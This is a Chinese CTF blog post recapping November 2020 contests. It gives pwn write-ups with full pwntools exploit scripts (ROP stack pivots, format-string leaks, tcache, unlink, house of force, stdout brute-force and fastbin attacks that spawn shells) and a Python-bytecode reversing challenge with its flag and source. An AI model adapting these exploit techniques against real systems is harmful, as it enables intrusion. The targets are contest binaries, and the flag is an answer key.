Nov_Match 2020

0x00 前言

11-4 去了南京参加全国工业互联网安全大赛~~(Final)~~,学生组第十名,得了2等奖,本来只求不垫底,所以得知成绩后还是很惊喜的( •̀ ω •́ )

为了买糕点错过了高铁,只好改签,背着老沉的包走了一天累坏了,第二天睡到下午一点…

回来之后11-10考算法,两天复习算法,半天复习代码,还阔以都过了…

11-14的上海赛出了点(意外),不过还不错帮hxdm冲到第七名

11-26的新生赛正好和数论考试撞了,没看题,学弟们是真的强,老学长们很欣慰/叹气

11月的比赛不多,其中xnuca的题目没写(太难了),根本复现不出来,如果可以,之后可能会单独开一篇写一下c语言的解释器

0x01 湖湘杯2020 pwn_printf

emmm湖湘杯py大赛,最后一小时的狂欢,不想说什么了,真的冲不动…

原GoogleCTF的逆向题,sprintf构造的虚拟机,改成了pwn题,存在非预期

当第九个参数为0x20,存在栈溢出,rop

image-20201104205621829

rbp覆盖为0x603500,通过改变rsi,来进行栈迁移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
elf = ELF("./pwn_printf")
p = elf.process()
libc = ELF("./pwn_printf").libc
#p = remote("47.111.104.99",51006)
p.recvuntil("You will find this game very interesting\n")
for i in range(16):
p.sendline(str(0x20))
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000401213
p.send(p64(0x603500)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4007DF))
libc_base = u64(p.recv(6)+'\x00\x00') - libc.sym['puts']
info("libc_base:" + hex(libc_base))
p.sendline("a"*0x8+p64(pop_rdi)+p64(libc_base+libc.search("/bin/sh").next())+p64(libc_base+libc.sym['system']))
p.interactive()

0x02 湖湘杯2020 blend_pwn

我愿称之为“一个字节的胜利”,以后一定要慎用sendline函数!

题目很多漏洞,要综合使用,其中主要考点是C++异常处理,参考文章pwn DCTF2017 Flex

利用格式化字符串泄露libc基地址,del函数中没有对chunk中的内容进行清零,然后利用show功能泄露出堆地址,再利用 partial write 实现栈迁移到我们已经布置好onegadget的堆上后实现getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#coding=utf-8
from pwn import *
#context.log_level='debug'
sh=process("./blend_pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#sh=remote('47.111.104.169',57704)
og = [0x45226 ,0x4527a,0xf0364,0xf1207]
def name(name):
sh.recvuntil("name:")
sh.send(name)

def showname():
sh.recvuntil('choice >')
sh.sendline(str(1))

def add(content):
sh.recvuntil('choice >')
sh.sendline(str(2))
sh.sendline(content)

def show():
sh.recvuntil("choice >")
sh.sendline(str(4))

def delete(idx):
sh.recvuntil("choice >")
sh.sendline(str(3))
sh.recvuntil("index>")
sh.sendline(str(idx))

def gift(con):
sh.recvuntil("choice >")
sh.sendline(str(666))
sh.recvuntil("Please input what you want:")
#gdb.attach(sh,"b *$rebase(0x11E9)")
sh.send(con)

name("%11$p")
showname()
sh.recvuntil("Current user:")
libc_base = int(sh.recvline(),16) - libc.sym['__libc_start_main'] -240
# read1 = libc_base + libc.sym['read']
info(hex(libc_base))
onegadget = libc_base + og[1]
info(hex(onegadget))
# sys = libc_base + libc.sym['system']
add(p64(onegadget)*0xc)
add(p64(onegadget)*0xc)
delete(0)
delete(1)
show()
sh.recvuntil('index 2:')
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) + 0x28
info(hex(heap_addr))
payload = 'a'*0x20 + p64(heap_addr)
gift(payload)

sh.interactive()

0x03 湖湘杯2020 babyheap

辛苦pwnht学长了。。。似乎关键漏洞不是单字节写0,是我太菜了,,,

不过学到了加载libc的新方法,env ={"LD_PRELOAD":"./libc.so.6"}

漏洞点在于show 和 delete的idx没有检查边界,,首先用show(-7)leak出pie地址。

接着填满tcache,leak出libc地址和堆地址。

然后在堆上伪造出size为0x100的堆块,并用del函数进行free,然后劫持其fd指针修改为__free_hook,并改为system函数地址,执行/bin/sh即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
p = process("./babyheap",env ={"LD_PRELOAD":"./libc.so.6"}) #load target libc
libc = ELF("./libc.so.6")
def add():
p.recvuntil(">>")
p.sendline("1")
def show(idx):
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("index?")
p.sendline(str(idx))
def edit(idx,size,data):
p.recvuntil(">>")
p.sendline("3")
p.recvuntil("index?")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Content:")
p.send(data)
def free(idx):
p.recvuntil(">>")
p.sendline("4")
p.recvuntil("index?")
p.sendline(str(idx))
show(-7)
p.recvline()
pie = u64(p.recv(6)+'\x00\x00')-0x202008 #leak_pie
print hex(pie)
for i in range(8):
add()
for i in range(8):
free(7-i)
for i in range(8):
add()
edit(7,0x20,'a'*8)
show(7)
p.recvuntil("a"*8)
libc.address = u64(p.recv(6)+'\x00\x00')-0x3EBCA0 #leak_libc
print hex(libc.address)
show(0)
p.recvline()
heap = u64(p.recv(6)+'\x00\x00')
print hex(heap)
edit(0,0x88,p64(heap-0xD0)*5+p64(0x101))
edit(1,0x88,p64(0)*5+p64(0x101))
free(( heap - 0xe0 - (pie+0x202040) )/8) #offset
edit(0,0x88,p64(heap-0xD0)*5+p64(0x101)+p64(libc.sym['__free_hook']))
#gdb.attach(p,'b *$rebase(0x202040)')
add()
add()
edit(9,9,p64(libc.sym['system']))
edit(2,8,'/bin/sh\x00')
free(2)
p.interactive()

0x04 上海赛 lgtwo

神奇的上海赛,每个学校只能进一只队,正好我们两支队莫名地被禁赛了〒▽〒

还好帮hxdm冲到了第七名,听说线下是AWD加油呀!

比赛4道pwn题和A1GX师傅冲了3道,有一道之前写过类似的就不写题解了

这题一开始思路就错了,耽误了很长时间,

**难点:**利用off by one 将1改成三个chunk大小,free 2 进入fastbin,free 1 放入unsortedbin,然后分割unsortedbin,将main_arena放入fastbin

**思路:**利用off by one构造overlap,没有show函数,所以通过爆破stdout泄露libc基址,然后通过unlink修改free_hook为onegadget从而getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
# context.log_level = 'debug'
context.binary = './lgtwo'
# p = process('./pwn')
elf = ELF('./lgtwo')
libc = elf.libc
def add(size,payload):
p.sendlineafter('>> ','1')
p.sendlineafter('?',str(size))
p.sendafter('?',payload)
def delete(idx):
p.sendlineafter('>> ','2')
p.sendlineafter('?',str(idx))

def show(idx):
p.sendlineafter('>> ','3')
p.sendlineafter('?',str(idx))

def change(idx,payload):
p.sendlineafter('>> ','4')
p.sendlineafter('?',str(idx))
p.sendafter('?',payload)
buf = 0x6020C0
stdout = 0x602020

while(1):
#p = remote('123.56.52.128','45830')
p = process('./lgtwo')
add(0x18,'aaa') #0
add(0x18,'bbb') #1
add(0x60,'ccc') #2
add(0x30,'aaa') #3
add(0x10,'ddd') #4
change(0,'a'*0x10+p64(0)+p8(0xd1))
delete(2)
delete(1)
add(0x18,'aaa') #1
add(0xa0,'ccc') #2
change(1,'a'*0x10+p64(0)+'\x70')
change(2,'\xdd'+'\x15')

add(0x60,'aaa') #5
try:
add(0x68,'bbb') #6
except EOFError:
print 'error!!!'
p.close()
continue
change(6,'\x00'*0x33 +p64(0xfbad18a0)+p64(0)*3+p8(0) )
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
one = [0x45226,0x4527a,0xf0364,0xf1207]
one_gadget = libc_base+one[1]
free_hook = libc_base+libc.sym['__free_hook']
info(hex(libc_base))
# gdb.attach(p)
# pause()
add(0x48, "ddaa") #7
add(0x80,'ddaa') #8
add(0x10,'aaaa' ) #9
payload = p64(0)+p64(0x41)
payload += p64(buf +7*8- 0x18) #fd
payload += p64(buf +7*8- 0x10) #bk
payload += 'a'*0x20
payload += p64(0x40)+p8(0x90)
change(7,payload)
delete(8)
change(7,p64(0)*3+p64(free_hook))
change(7,p64(one_gadget))
delete(9)
p.interactive()

0x05 上海赛 maj0rone

给了大量混淆像这样,真吓人,距离比赛结束还有两个小时本不想做了的

image-20201116001757421

但是A1GX师傅说不要看这些混淆并爆破出这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for a1 in range(512):
v1 = 512
if ( a1 <= 512 ):
v1 = a1
if ( v1 <= 300 ):
v2 = a1
else:
v2 = 300
if ( v2 >= 150 ):
v3 = 150
else:
v3 = a1
if ( v3 <= 80 ):
v4 = 80
else:
v4 = a1
v7 = v4
if ( v4 <= 80 ):
v4 = 80
if ( v4 >= 83 ):
v5 = 80
else:
v5 = v7
if(a1==v5):
print(a1)
# 80 81 82

这样就可以进入函数了,其实就是一道常规堆题,给了我很大信心/滑稽

**难点:**将0放入unsortedbin,然后分割成2,3,将3放入fastbin,改3的size为0x91,为了避免doublefree,所以先free一次4,然后再free 3 ,这样之后,3既在fastbin又在unsortedbin,再将3size改回0x71,这样做的目的就是为了让main_arena放入fastbin中,所以只有一条fastbin链后,就可以爆破stdout了

**思路:**利用uaf漏洞,分割unsortedbin,通过构造获得fastbin,由于没有输出函数,所以爆破stdout泄露libc基址,最后利用fastbin attack将fd改为malloc_hook-0x23,从而将malloc_hook改为onegadget getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
# context.log_level = 'debug'
context.binary = './maj0rone'
# p = process('./pwn')
elf = ELF('./maj0rone')
libc = elf.libc
def add(size,payload):
p.sendlineafter('>> ','1')
p.sendlineafter('n',str(80))
p.sendlineafter('?',str(size))
p.sendafter('?',payload)

def delete(idx):
p.sendlineafter('>> ','2')
p.sendlineafter('?',str(idx))

def show(idx):
p.sendlineafter('>> ','3')
p.sendlineafter('?',str(idx))

def change(idx,payload):
p.sendlineafter('>> ','4')
p.sendlineafter('?',str(idx))
p.sendafter('?',payload)
while(1):
#p = process('./maj0rone')
p = remote('123.56.52.128','18523')
add(0x90,'aaaa') #0
add(0x10,'aaaa') #1
delete(0)
add(0x20,'aaaa') #2
add(0x60,'aaaa') #3
add(0x60,'bbbb') #4
delete(3)
payload = 'a'*0x20+p64(0)+p64(0x91)
change(0,payload)
delete(4)
delete(3)
change(3,'\xdd'+'\x15')
payload = 'a'*0x20+p64(0)+p64(0x71)
change(0,payload)
try:
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60,'aaaa') #7
except EOFError:
print 'error!!!'
p.close()
continue
change(7,'\x00'*0x33 +p64(0xfbad1800)+p64(0)*3+p8(0))
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
malloc_hook = libc_base+libc.sym['__malloc_hook']
one = [0x45226,0x4527a,0xf0364,0xf1207]
one_gadget = libc_base+one[3]
info(hex(one_gadget))
info(hex(libc_base))
add(0x60,'aaaa') #8
delete(8)
change(8,p64(malloc_hook-0x23))
add(0x60,'aaaa') #9
add(0x60,'aaaa') #10
payload = '\x00'*0x13+p64(one_gadget)
change(10,payload)
p.sendlineafter('>> ','1')
p.sendlineafter('n',str(80))
p.sendline(str(0x10))
# gdb.attach(p)
# pause()
p.interactive()

0x06 上海赛 cpu_emulator

做vmpwn真的难,需要一定的逆向基础

image-20201129233652763

分析出主要逻辑,模拟了cpu的工作,32个寄存器,每个寄存器32位,指令长度也是32位,指令是分段的,且有两种解析方式,漏洞在第一种解析方式

image-20201129234316625

找到溢出点之后,就可以利用tcache改fd指针,将free_got和atoi_got 改成printf函数,构造格式化字符串漏洞来泄露libc基址,然后再改atoi_got为system即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
# context.log_level = 'debug'
p = process('./emulator')
elf = ELF('./emulator')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg = [0x4f365,0x4f3c2,0x10a45c]
free_got = elf.got['free'] #0x602018
atoi_got = elf.got['atoi'] #0x602058
printf_plt = elf.plt['printf']
exit_got = elf.got['exit'] #0x602060

def show(a,addr):
info(a+':'+hex(addr))

def setInstruction(size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('size:\n',str(size))
p.sendafter('instruction:\n',content)

def last_set(size,content):
p.sendafter('>> ','1')
p.sendlineafter('size:\n','%'+str(size)+'c')
p.sendafter('instruction:\n',content)

def getOrder1(a1,a2,a3,a4):
result = (a1<<26) + (a2<<21) + (a3<<16) + a4
return p32(result)

def run():
p.sendlineafter('>> ','2')

setInstruction(0x100,'\x00')
setInstruction(0x20,'\x00')
setInstruction(0x30,'\x00')
setInstruction(0x40,'\x00')
payload1 = getOrder1(8,0,0,0xf1) + getOrder1(8,0,0,0xe0) + getOrder1(8,1,1,0x8+1) + getOrder1(0x2b,1,0,0xffff)+getOrder1(1,0,0,0)
setInstruction(0x100,payload1)
run()
payload2 = '\x00'*0x100
payload2 += p64(0)+p64(0xa1)+p64(free_got-8).ljust(0x20,'\x00') #低8位因为fd会被清0
payload2 += p64(0)+p64(0xb1)+p64(atoi_got).ljust(0x30,'\x00')
payload2 += p64(0)+p64(0xc1)+p64(atoi_got).ljust(0x40,'\x00')
setInstruction(0x1c0,payload2)
# run()
setInstruction(0x20,'\x00')
setInstruction(0x30,'\x00')
setInstruction(0x40,'\x00')
setInstruction(0x20,p64(printf_plt)*2)
setInstruction(0x30,p64(printf_plt))
p.sendlineafter('>> ','%15$p')
leak = int(p.recvuntil('\n'),16) - 231
libcbase = leak - libc.sym['__libc_start_main']
one = libcbase + ogg[2]
system_addr = libcbase + libc.sym['system']
show('libcbase',libcbase)
show('one_gadget',one)
show('system_addr',system_addr)

# last_set(0x40,p64(system_addr))
last_set(0x40,p64(one))
# p.sendlineafter('>> ','/bin/sh')

p.interactive()

0x07 cumt新生赛 pwn5

A1GX师傅出的题0解!tql!

change函数存在溢出,没有开PIE,留了后门,写两种解法

exp

解法一,可以用house of force来修改Bye函数指针为backdo0r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# r = remote('219.219.61.234','10014')
r = process('./pwn5')
def add(size,con):
p.sendlineafter('Your choice:','2')
p.sendlineafter('Plz input the size of item name:',str(size))
p.sendafter('Plz input the name:',con)
def delete(idx):
p.sendlineafter('Your choice:','4')
p.sendlineafter('Plz enter the index of item:',str(idx))
def show():
p.sendlineafter('Your choice:','1')
def change(idx,size,con):
p.sendlineafter('Your choice:','3')
p.sendlineafter('Plz enter the index of item:',str(idx))
p.sendlineafter('Plz enter the length of item name:',str(size))
p.sendafter('Plz enter the new name of the item:',con)

sys = 0x400D1B
add(0x30, "ld1ng")
payload = 0x30 * 'a'
payload += p64(0) + p64(0xffffffffffffffff)
change(0, 0x50, payload)
offset = -0x60
malloc_size = offset -0x10
add(malloc_size, "ld1ng")
# gdb.attach(r)
add(0x10, p64(sys) * 2)
r.recvuntil(":")
r.sendline("5")
r.interactive()

解法二,unlink改 free的got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python
#coding=utf-8
from pwn import *
#context.log_level = 'debug'
p = process('./pwn5')
#p = remote('219.219.61.234','10014')
elf = ELF('./pwn5')

libc = elf.libc
def add(size,con):
p.sendlineafter('Your choice:','2')
p.sendlineafter('Plz input the size of item name:',str(size))
p.sendafter('Plz input the name:',con)

def delete(idx):
p.sendlineafter('Your choice:','4')
p.sendlineafter('Plz enter the index of item:',str(idx))

def show():
p.sendlineafter('Your choice:','1')

def change(idx,size,con):
p.sendlineafter('Your choice:','3')
p.sendlineafter('Plz enter the index of item:',str(idx))
p.sendlineafter('Plz enter the length of item name:',str(size))
p.sendafter('Plz enter the new name of the item:',con)
buf = 0x06020b8
sys = 0x400D1B
add(0x60,'ccc')
add(0x58,'aaa')
add(0x80,'bbb')
add(0x60,'eee')
add(0x60,'fff')
payload = p64(0)+p64(0x51)
payload += p64(buf - 0x18)
payload += p64(buf - 0x10)
payload += 'a'*0x30
payload += p64(0x50)+p8(0x90)
change(1,0x80,payload)
delete(2)
change(1,0x40,p64(0x60)*3+ p64(0x6020a8))
change(1,0x40,p64(elf.got['free']))
change(0,0x40,p64(sys)*2)
# delete(3)
# gdb.attach(p)
p.interactive()

0x08 记事本逆向

image-20201128225011389

炜哥可以的,给我整了一道逆向(●’◡’●),(震惊!pwn文章中首次出现逆向题)

记事本?不可能的!用vscode挺香的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
Disassembly of __init__:
47 0 LOAD_CONST 0 (None)
2 LOAD_FAST 0 (self)
4 STORE_ATTR 0 (left)

48 6 LOAD_CONST 0 (None)
8 LOAD_FAST 0 (self)
10 STORE_ATTR 1 (right)

49 12 LOAD_FAST 1 (data)
14 LOAD_FAST 0 (self)
16 STORE_ATTR 2 (data)
18 LOAD_CONST 0 (None)
20 RETURN_VALUE

Disassembly of inorderTraversal: //左中右
59 0 BUILD_LIST 0
2 STORE_FAST 2 (res)

60 4 LOAD_FAST 1 (root)
6 POP_JUMP_IF_FALSE 48

61 8 LOAD_FAST 0 (self) //res = self.inorderTraversal(root.left)
10 LOAD_ATTR 0 (inorderTraversal)
12 LOAD_FAST 1 (root)
14 LOAD_ATTR 1 (left)
16 CALL_FUNCTION 1
18 STORE_FAST 2 (res)

62 20 LOAD_FAST 2 (res) //res.append(root.data)
22 LOAD_ATTR 2 (append)
24 LOAD_FAST 1 (root)
26 LOAD_ATTR 3 (data)
28 CALL_FUNCTION 1
30 POP_TOP

63 32 LOAD_FAST 2 (res) //res += self.inorderTraversal(root.right)
34 LOAD_FAST 0 (self)
36 LOAD_ATTR 0 (inorderTraversal)
38 LOAD_FAST 1 (root)
40 LOAD_ATTR 4 (right)
42 CALL_FUNCTION 1
44 BINARY_ADD
46 STORE_FAST 2 (res)

64 >> 48 LOAD_FAST 2 (res)
50 RETURN_VALUE

Disassembly of insert: //左右左
51 0 LOAD_FAST 0 (self)
2 LOAD_ATTR 0 (data)
4 POP_JUMP_IF_FALSE 62

52 6 LOAD_FAST 0 (self) //if self.left is None
8 LOAD_ATTR 1 (left)
10 LOAD_CONST 0 (None)
12 COMPARE_OP 8 (is)
14 POP_JUMP_IF_FALSE 28

53 16 LOAD_GLOBAL 2 (Node)
18 LOAD_FAST 1 (data)
20 CALL_FUNCTION 1
22 LOAD_FAST 0 (self)
24 STORE_ATTR 1 (left) //self.left = Node(data)
26 JUMP_FORWARD 34 (to 62)

54 >> 28 LOAD_FAST 0 (self)
30 LOAD_ATTR 3 (right)
32 LOAD_CONST 0 (None)
34 COMPARE_OP 8 (is)
36 POP_JUMP_IF_FALSE 50

55 38 LOAD_GLOBAL 2 (Node) //self.right = Node(data)
40 LOAD_FAST 1 (data)
42 CALL_FUNCTION 1
44 LOAD_FAST 0 (self)
46 STORE_ATTR 3 (right)
48 JUMP_FORWARD 12 (to 62)

57 >> 50 LOAD_FAST 0 (self) //self.left.insert(data)
52 LOAD_ATTR 1 (left)
54 LOAD_ATTR 4 (insert)
56 LOAD_FAST 1 (data)
58 CALL_FUNCTION 1
60 POP_TOP
>> 62 LOAD_CONST 0 (None)
64 RETURN_VALUE

None
2 0 LOAD_BUILD_CLASS
2 LOAD_CLOSURE 0 (Node)
4 BUILD_TUPLE 1
6 LOAD_CONST 1 (<code object Node at 0x0382DB20, line 2>)
8 LOAD_CONST 2 ('Node')
10 MAKE_FUNCTION 8
12 LOAD_CONST 2 ('Node')
14 CALL_FUNCTION 2
16 STORE_DEREF 0 (Node)

28 18 LOAD_GLOBAL 0 (input)
20 LOAD_CONST 3 ('PLZ input flag:') //str1 = input('PLZ input flag:')
22 CALL_FUNCTION 1
24 STORE_FAST 0 (str1)

30 26 LOAD_CONST 4 (<code object <listcomp> at 0x0382DB78, line 30>)
28 LOAD_CONST 5 ('main1.<locals>.<listcomp>')
30 MAKE_FUNCTION 0
32 LOAD_FAST 0 (str1)
34 GET_ITER
36 CALL_FUNCTION 1
38 STORE_FAST 1 (flag)

31 40 LOAD_DEREF 0 (Node) // root = Node(flag[0])
42 LOAD_FAST 1 (flag)
44 LOAD_CONST 6 (0)
46 BINARY_SUBSCR
48 CALL_FUNCTION 1
50 STORE_FAST 2 (root)

32 52 SETUP_LOOP 36 (to 90)
54 LOAD_GLOBAL 1 (range) //for i in range(1,len(flag)):
56 LOAD_CONST 7 (1)
58 LOAD_GLOBAL 2 (len)
60 LOAD_FAST 1 (flag)
62 CALL_FUNCTION 1
64 CALL_FUNCTION 2
66 GET_ITER
>> 68 FOR_ITER 18 (to 88)
70 STORE_FAST 3 (i)

33 72 LOAD_FAST 2 (root)
74 LOAD_ATTR 3 (insert) // root.insert(flag[i])
76 LOAD_FAST 1 (flag)
78 LOAD_FAST 3 (i)
80 BINARY_SUBSCR
82 CALL_FUNCTION 1
84 POP_TOP
86 JUMP_ABSOLUTE 68
>> 88 POP_BLOCK

34 >> 90 LOAD_FAST 2 (root)
92 LOAD_ATTR 4 (inorderTraversal) // F = root.inorderTraversal(root)
94 LOAD_FAST 2 (root)
96 CALL_FUNCTION 1
98 STORE_FAST 4 (F)

35 100 LOAD_CONST 8 ('7b}41ada16fdd2d262c70b8533f00ea{7t1tfuccm')
102 STORE_FAST 1 (flag) //flag = '7b}41ada16fdd2d262c70b8533f00ea{7t1tfuccm'

36 104 LOAD_CONST 7 (1)
106 STORE_FAST 5 (YES)

37 108 SETUP_LOOP 50 (to 160)
110 LOAD_GLOBAL 5 (enumerate) //迭代器,进行比较
112 LOAD_FAST 4 (F)
114 CALL_FUNCTION 1
116 GET_ITER
>> 118 FOR_ITER 38 (to 158)
120 UNPACK_SEQUENCE 2
122 STORE_FAST 3 (i)
124 STORE_FAST 6 (element)

38 126 LOAD_GLOBAL 6 (ord)
128 LOAD_FAST 1 (flag)
130 LOAD_FAST 3 (i)
132 BINARY_SUBSCR
134 CALL_FUNCTION 1
136 LOAD_FAST 6 (element)
138 COMPARE_OP 3 (!=)
140 POP_JUMP_IF_FALSE 118

39 142 LOAD_CONST 6 (0)
144 STORE_FAST 5 (YES)

40 146 LOAD_GLOBAL 7 (print)
148 LOAD_CONST 9 ('wrong')
150 CALL_FUNCTION 1
152 POP_TOP

41 154 BREAK_LOOP
156 JUMP_ABSOLUTE 118
>> 158 POP_BLOCK

42 >> 160 LOAD_FAST 5 (YES)
162 POP_JUMP_IF_FALSE 172

43 164 LOAD_GLOBAL 7 (print)
166 LOAD_CONST 10 ('wow~you are right!')
168 CALL_FUNCTION 1
170 POP_TOP
>> 172 LOAD_CONST 0 (None)
174 RETURN_VALUE
None

python字节码,做了点注释,

分析出是一颗参天大树,主要在于读懂插入和中序遍历的逻辑,

想了好久,实在想不出脚本怎么写,太菜了还是手撕吧

贴上炜哥的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def main1():
class Node:
def __init__(self, data):
self.left = None #左节点
self.right = None #右节点
self.data = data #值
def PrintTree(self):
if self.left:
self.left.PrintTree()
print(chr(self.data),end="")
if self.right:
self.right.PrintTree()
def insert(self,data):
if self.data:
if self.left is None:
self.left = Node(data)
elif self.right is None:
self.right = Node(data)
else:
self.left.insert(data)
def inorderTraversal(self, root):
res = []
if root:
res = self.inorderTraversal(root.left)
res.append(root.data)
res = res + self.inorderTraversal(root.right)
return res
str1=input("PLZ input flag:")
#str1="cumtctf{1e70a305fb378202c26dd6dafa14db17}"
flag=[ord(i) for i in str1]
root = Node(flag[0])
for i in range(1,len(flag)):
root.insert(flag[i])
F=root.inorderTraversal(root)
flag="7b}41ada16fdd2d262c70b8533f00ea{7t1tfuccm"
YES=1
for i, element in enumerate(F):
if ord(flag[i])!=element:
YES=0
print("wrong")
break
if YES:
print("wow~you are right!")

0x09 小结

十一月总结:太菜了啊!!